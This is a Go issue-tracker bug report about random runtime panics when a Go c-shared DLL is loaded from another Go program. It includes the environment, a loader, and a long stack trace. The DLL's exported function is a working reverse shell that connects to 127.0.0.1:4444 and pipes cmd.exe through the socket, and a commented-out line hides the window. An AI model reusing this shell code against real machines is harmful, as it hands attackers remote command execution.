Skip to content

Go DLL with net package cause random panic #54644

Closed as not planned
Closed as not planned
@kosmosec

Description

@kosmosec

What version of Go are you using (go version)?

$ go version
go version go1.17 windows/amd64

Does this issue reproduce with the latest release?

Yes

What operating system and processor architecture are you using (go env)?

go env Output
$ go env
set GO111MODULE=
set GOARCH=amd64
set GOBIN=
set GOCACHE=C:\Users\tomek\AppData\Local\go-build
set GOENV=C:\Users\tomek\AppData\Roaming\go\env
set GOEXE=.exe
set GOEXPERIMENT=
set GOFLAGS=
set GOHOSTARCH=amd64
set GOHOSTOS=windows
set GOINSECURE=
set GOMODCACHE=C:\Users\tomek\go\pkg\mod
set GONOPROXY=
set GONOSUMDB=
set GOOS=windows
set GOPATH=C:\Users\tomek\go
set GOPRIVATE=
set GOPROXY=https://proxy.golang.org,direct
set GOROOT=C:\Program Files\Go
set GOSUMDB=sum.golang.org
set GOTMPDIR=
set GOTOOLDIR=C:\Program Files\Go\pkg\tool\windows_amd64
set GOVCS=
set GOVERSION=go1.17
set GCCGO=gccgo
set AR=ar
set CC=gcc
set CXX=g++
set CGO_ENABLED=0
set GOMOD=U:\go-embeddll\go.mod
set CGO_CFLAGS=-g -O2
set CGO_CPPFLAGS=
set CGO_CXXFLAGS=-g -O2
set CGO_FFLAGS=-g -O2
set CGO_LDFLAGS=-g -O2
set PKG_CONFIG=pkg-config
set GOGCCFLAGS=-m64 -fmessage-length=0 -fdebug-prefix-map=C:\Users\tomek\AppData\Local\Temp\go-build4274060169=/tmp/go-build -gno-record-gcc-switches

What did you do?

Generate DLL from golang:

package main

import "C"
import (
	"net"
	"os/exec"
)

//export Elo
func Elo() int {
	conn, _ := net.Dial("tcp", "127.0.0.1:4444")

	cmd := exec.Command("cmd.exe")
	cmd.Stdin = conn
	cmd.Stdout = conn
	cmd.Stderr = conn
	//cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}

	cmd.Start()
	cmd.Wait()
	print("show uid called\n")
	return 1
}

func main() {

}

Compile to dll:
go build -buildmode=c-shared -o elo.dll main.go

Run DLL from another Go program:

package main

import (
	"fmt"
	"log"
	"syscall"
)

func main() {
	
	h, e := syscall.LoadLibrary("elo.dll")
	if e != nil {
		log.Fatal(e)
	}
	defer syscall.FreeLibrary(h)
	proc, e := syscall.GetProcAddress(h, "Elo")
	if e != nil {
		log.Fatal(e)
	}
	n, _, _ := syscall.Syscall(uintptr(proc), 0, 0, 0, 0)
	fmt.Printf("Hello dll function returns %d\n", n)

}

What did you expect to see?

I would like to see that I will get connection on 127.0.0.1:4444

What did you see instead?

I see random panic and sometimes program connect to the 127.0.0.1:4444.

Error

runtime: unexpected return pc for runtime.cgocallback called from 0x101bca0
stack: frame={sp:0x1c00008fdf8, fp:0x1c00008fe20} stack=[0x1c00008c000,0x1c000090000)
0x000001c00008fcf8:  0x000000c00070dd28  0x000000005eacb4c5 <runtime.exitsyscall+0x0000000000000105>
0x000001c00008fd08:  0x000000c000032000  0x000001c00008fce8
0x000001c00008fd18:  0x0000000000000000  0x000000005eb60f50
0x000001c00008fd28:  0x000001c00008fdc0  0x000000005ea741e6 <runtime.cgocallbackg+0x0000000000000106>
0x000001c00008fd38:  0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000>  0x0000000300000002
0x000001c00008fd48:  0x0000000000000000  0x0000000000fc3aea
0x000001c00008fd58:  0x0000000000000000  0x000000005eb1f260
0x000001c00008fd68:  0x0000000000000000  0x000000c00070dea8
0x000001c00008fd78:  0x000000005eb1f260  0x0000000000000000
0x000001c00008fd88:  0x0000000000000000  0x000001c00008fe28
0x000001c00008fd98:  0x000000c000032000  0x000000c00003cc00
0x000001c00008fda8:  0x000000000070dde0  0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000>
0x000001c00008fdb8:  0x00000012847ffcb8  0x000001c00008fde8
0x000001c00008fdc8:  0x000000005ead1d56 <runtime.cgocallbackg+0x0000000000000036>  0x000000c000032000
0x000001c00008fdd8:  0x0000000300000002  0x000000c000032000
0x000001c00008fde8:  0x00000012847ffb78  0x000000005eacfb77 <runtime.cgocallback+0x00000000000000d7>
0x000001c00008fdf8: <0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000>  0x00000012847ffcb8
0x000001c00008fe08:  0x0000000000000000  0x000000c00070de28
0x000001c00008fe18: !0x000000000101bca0 >0x0000000000fc3b4c
0x000001c00008fe28:  0x000000000101f880  0x000000c00003cee0
0x000001c00008fe38:  0x0000000000000000  0x000000c00070de98
0x000001c00008fe48:  0x000000c00003cc00  0x000000c00070de88
0x000001c00008fe58:  0x000000000101a994  0x000000000101f880
0x000001c00008fe68:  0x000000c00003cee0  0x010000000102a700
0x000001c00008fe78:  0x000000c00003cc00  0x00000000010b2048
0x000001c00008fe88:  0x000000c00070ded8  0x000000000102072b
0x000001c00008fe98:  0x000000005eb1f260  0x0000000000000000
0x000001c00008fea8:  0x0000000000000000  0x0000000000000000
0x000001c00008feb8:  0x0000000000000000  0x0000000000000000
0x000001c00008fec8:  0x0000000000000000  0x0000000000000000
0x000001c00008fed8:  0x000000c00070df70  0x0000000001083a0c
0x000001c00008fee8:  0x00000000010a69d9  0x00000000010a620c
0x000001c00008fef8:  0x0000000000000060  0x000001538d0b0598
0x000001c00008ff08:  0x0000000000000060  0x00000000014739a0
0x000001c00008ff18:  0x000000c000080000
fatal error: unknown caller pc

runtime stack:
runtime.throw({0x5eb59b73, 0x5eb26bc0})
        C:/Program Files/Go/src/runtime/panic.go:1198 +0x76
runtime.gentraceback(0x1538cf96290, 0x7fffb0cff560, 0x7fffb0cff560, 0x1538cf7ac90, 0x0, 0x0, 0x7fffffff, 0x5eb60c08, 0x0, 0x0)
        C:/Program Files/Go/src/runtime/traceback.go:274 +0x1956
runtime.copystack(0xc000032000, 0x4000)
        C:/Program Files/Go/src/runtime/stack.go:918 +0x293
runtime.newstack()
        C:/Program Files/Go/src/runtime/stack.go:1097 +0x48f
runtime.morestack()
        C:/Program Files/Go/src/runtime/asm_amd64.s:461 +0x93

goroutine 1 [copystack, locked to thread]:
runtime.heapBits.forwardOrBoundary({0x153d76b4300, 0x0, 0x2070000, 0x153d76cffff}, 0x400)
        C:/Program Files/Go/src/runtime/mbitmap.go:497 +0x71 fp=0x1c00008f378 sp=0x1c00008f370 pc=0x5ea83031
runtime.heapBits.initSpan({0x153d76b4300, 0x0, 0x0, 0x153d76cffff}, 0x0)
        C:/Program Files/Go/src/runtime/mbitmap.go:763 +0x8e fp=0x1c00008f3e0 sp=0x1c00008f378 pc=0x5ea83b4e
runtime.(*mcentral).grow(0x0)
        C:/Program Files/Go/src/runtime/mcentral.go:250 +0x125 fp=0x1c00008f428 sp=0x1c00008f3e0 pc=0x5ea86825
runtime.(*mcentral).cacheSpan(0x5ec20960)
        C:/Program Files/Go/src/runtime/mcentral.go:161 +0x69e fp=0x1c00008f4a0 sp=0x1c00008f428 pc=0x5ea8659e
runtime.(*mcache).refill(0x153b2550598, 0x5)
        C:/Program Files/Go/src/runtime/mcache.go:162 +0xaf fp=0x1c00008f4f0 sp=0x1c00008f4a0 pc=0x5ea857af
runtime.(*mcache).nextFree(0x153b2550598, 0x5)
        C:/Program Files/Go/src/runtime/malloc.go:880 +0x85 fp=0x1c00008f538 sp=0x1c00008f4f0 pc=0x5ea7c3e5
runtime.mallocgc(0x10, 0x0, 0x0)
        C:/Program Files/Go/src/runtime/malloc.go:1071 +0x4e8 fp=0x1c00008f5b8 sp=0x1c00008f538 pc=0x5ea7ca68
runtime.makeslicecopy(0x0, 0x0, 0x0, 0x5eb21170)
        C:/Program Files/Go/src/runtime/slice.go:55 +0x89 fp=0x1c00008f600 sp=0x1c00008f5b8 pc=0x5eab8009
net.IPv4(...)
        C:/Program Files/Go/src/net/ip.go:52
net.parseIPv4({0x5eb58e20, 0x0})
        C:/Program Files/Go/src/net/ip.go:587 +0x165 fp=0x1c00008f638 sp=0x1c00008f600 pc=0x5eb051c5
net.parseIPZone({0x5eb58e20, 0x0})
        C:/Program Files/Go/src/net/ip.go:722 +0x47 fp=0x1c00008f658 sp=0x1c00008f638 pc=0x5eb05967
net.(*Resolver).lookupIPAddr(0x5ebfa080, {0x5eb7d1b0, 0x0}, {0x5eb57361, 0x20}, {0x5eb58e20, 0x9})
        C:/Program Files/Go/src/net/lookup.go:270 +0x13f fp=0x1c00008f7d8 sp=0x1c00008f658 pc=0x5eb090ff
net.(*Resolver).internetAddrList(0x5eb7d1b0, {0x5eb7d1b0, 0x0}, {0x5eb57361, 0x3}, {0x5eb58e20, 0xe})
        C:/Program Files/Go/src/net/ipsock.go:288 +0x67a fp=0x1c00008f8f8 sp=0x1c00008f7d8 pc=0x5eb076da
net.(*Resolver).resolveAddrList(0x0, {0x5eb7d1b0, 0x0}, {0x5eb5746c, 0x4}, {0x5eb57361, 0x2030000}, {0x5eb58e20, 0xe}, {0x0, ...})
        C:/Program Files/Go/src/net/dial.go:221 +0x41b fp=0x1c00008fa00 sp=0x1c00008f8f8 pc=0x5eaff01b
net.(*Dialer).DialContext(0x1c00008fb98, {0x5eb7d1b0, 0x0}, {0x5eb57361, 0xc00003cee0}, {0x5eb58e20, 0x10000008d0b0598})
        C:/Program Files/Go/src/net/dial.go:406 +0x448 fp=0x1c00008fb60 sp=0x1c00008fa00 pc=0x5eafffa8
net.(*Dialer).Dial(...)
        C:/Program Files/Go/src/net/dial.go:351
net.Dial({0x5eb57361, 0x20}, {0x5eb58e20, 0x30000})
        C:/Program Files/Go/src/net/dial.go:319 +0x7a fp=0x1c00008fc08 sp=0x1c00008fb60 pc=0x5eaffb1a
main.Elo()
        U:/go-ctwo/main.go:11 +0x35 fp=0x1c00008fc58 sp=0x1c00008fc08 pc=0x5eb1f0d5
_cgoexp_e6ef85baad92_Elo(0x12847ffcb8)
        _cgo_gotypes.go:37 +0x1c fp=0x1c00008fc68 sp=0x1c00008fc58 pc=0x5eb1f23c
runtime.cgocallbackg1(0x5eb1f220, 0x300000002, 0x0)
        C:/Program Files/Go/src/runtime/cgocall.go:306 +0x29a fp=0x1c00008fd38 sp=0x1c00008fc68 pc=0x5ea7455a
runtime.cgocallbackg(0xc000032000, 0x300000002, 0xc000032000)
        C:/Program Files/Go/src/runtime/cgocall.go:232 +0x106 fp=0x1c00008fdd0 sp=0x1c00008fd38 pc=0x5ea741e6
runtime.cgocallbackg(0x5eb1f220, 0x12847ffcb8, 0x0)
        <autogenerated>:1 +0x36 fp=0x1c00008fdf8 sp=0x1c00008fdd0 pc=0x5ead1d56
runtime: unexpected return pc for runtime.cgocallback called from 0x101bca0
stack: frame={sp:0x1c00008fdf8, fp:0x1c00008fe20} stack=[0x1c00008c000,0x1c000090000)
0x000001c00008fcf8:  0x000000c00070dd28  0x000000005eacb4c5 <runtime.exitsyscall+0x0000000000000105>
0x000001c00008fd08:  0x000000c000032000  0x000001c00008fce8
0x000001c00008fd18:  0x0000000000000000  0x000000005eb60f50
0x000001c00008fd28:  0x000001c00008fdc0  0x000000005ea741e6 <runtime.cgocallbackg+0x0000000000000106>
0x000001c00008fd38:  0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000>  0x0000000300000002
0x000001c00008fd48:  0x0000000000000000  0x0000000000fc3aea
0x000001c00008fd58:  0x0000000000000000  0x000000005eb1f260
0x000001c00008fd68:  0x0000000000000000  0x000000c00070dea8
0x000001c00008fd78:  0x000000005eb1f260  0x0000000000000000
0x000001c00008fd88:  0x0000000000000000  0x000001c00008fe28
0x000001c00008fd98:  0x000000c000032000  0x000000c00003cc00
0x000001c00008fda8:  0x000000000070dde0  0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000>
0x000001c00008fdb8:  0x00000012847ffcb8  0x000001c00008fde8
0x000001c00008fdc8:  0x000000005ead1d56 <runtime.cgocallbackg+0x0000000000000036>  0x000000c000032000
0x000001c00008fdd8:  0x0000000300000002  0x000000c000032000
0x000001c00008fde8:  0x00000012847ffb78  0x000000005eacfb77 <runtime.cgocallback+0x00000000000000d7>
0x000001c00008fdf8: <0x000000005eb1f220 <_cgoexp_e6ef85baad92_Elo+0x0000000000000000>  0x00000012847ffcb8
0x000001c00008fe08:  0x0000000000000000  0x000000c00070de28
0x000001c00008fe18: !0x000000000101bca0 >0x0000000000fc3b4c
0x000001c00008fe28:  0x000000000101f880  0x000000c00003cee0
0x000001c00008fe38:  0x0000000000000000  0x000000c00070de98
0x000001c00008fe48:  0x000000c00003cc00  0x000000c00070de88
0x000001c00008fe58:  0x000000000101a994  0x000000000101f880
0x000001c00008fe68:  0x000000c00003cee0  0x010000000102a700
0x000001c00008fe78:  0x000000c00003cc00  0x00000000010b2048
0x000001c00008fe88:  0x000000c00070ded8  0x000000000102072b
0x000001c00008fe98:  0x000000005eb1f260  0x0000000000000000
0x000001c00008fea8:  0x0000000000000000  0x0000000000000000
0x000001c00008feb8:  0x0000000000000000  0x0000000000000000
0x000001c00008fec8:  0x0000000000000000  0x0000000000000000
0x000001c00008fed8:  0x000000c00070df70  0x0000000001083a0c
0x000001c00008fee8:  0x00000000010a69d9  0x00000000010a620c
0x000001c00008fef8:  0x0000000000000060  0x000001538d0b0598
0x000001c00008ff08:  0x0000000000000060  0x00000000014739a0
0x000001c00008ff18:  0x000000c000080000
runtime.cgocallback(0xfc3b4c, 0x101f880, 0xc00003cee0)
        C:/Program Files/Go/src/runtime/asm_amd64.s:915 +0xd7 fp=0x1c00008fe20 sp=0x1c00008fdf8 pc=0x5eacfb77

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions